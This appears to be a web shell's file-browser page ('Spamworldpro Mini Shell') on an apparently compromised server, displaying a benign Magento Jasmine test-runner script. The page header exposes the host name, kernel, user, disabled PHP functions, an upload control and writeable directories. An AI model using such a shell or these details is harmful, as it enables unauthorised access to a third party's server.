Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/js/jasmine/spec_runner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/js/jasmine/spec_runner/index.js
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

'use strict';

var tasks = [],
    _ = require('underscore');

function init(grunt, options) {
    var _                   = require('underscore'),
        stripJsonComments   = require('strip-json-comments'),
        path                = require('path'),
        config,
        themes,
        file;

    config = grunt.file.read(__dirname + '/settings.json');
    config = stripJsonComments(config);
    config = JSON.parse(config);

    themes = require(path.resolve(process.cwd(), config.themes));

    if (options.theme) {
        themes = _.pick(themes, options.theme);
    }

    tasks = Object.keys(themes);

    config.themes = themes;

    file = grunt.option('file');

    if (file) {
        config.singleTest = file;
    }

    enableTasks(grunt, config);
}

function enableTasks(grunt, config) {
    var jasmine = require('./tasks/jasmine'),
        connect = require('./tasks/connect');

    jasmine.init(config);
    connect.init(config);

    grunt.initConfig({
        jasmine: jasmine.getTasks(),
        connect: connect.getTasks()
    });
}

function getTasks() {
    tasks = tasks.map(function (theme) {
        return [
            'connect:' + theme,
            'jasmine:' + theme
        ];
    });

    return _.flatten(tasks);
}

module.exports = {
    init: init,
    getTasks: getTasks
};

Spamworldpro Mini